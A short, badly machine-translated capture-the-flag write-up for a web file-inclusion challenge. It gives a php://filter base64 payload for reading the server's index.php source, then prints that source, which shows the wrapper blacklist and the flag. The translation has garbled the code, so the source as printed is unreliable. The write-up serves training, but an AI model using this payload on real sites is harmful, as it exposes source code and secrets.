Nanjing post and Telecommunications CTF platform to do the title writeup--web--file contains

Obvious file contains the format URL of the vulnerability, read index source through Php://filter,php://filter/read=convert.base64-encode/resource= index.php
As follows

Then the base64 decoding can be

< HTML >    < title >asdf</title>    <? php  error_reporting (0);  if (!$_get[file]) {echo ' <a href= "./index.php?file=show.php" >click me? no</a> ';}  $file =$_get[' file '];  if (Strstr ($file, ": /")|| Stristr ($file, "TP") | | Stristr ($file, "input") | | Stristr ($file, "data") {    echo "Oh no!";    Exit ();  }  Include ($file); FLAG:NCTF{EDULCNI_ELIF_LACOL_SI_SIHT}?></html>

Nanjing Post-and-post CTF platform writeup--web--file contains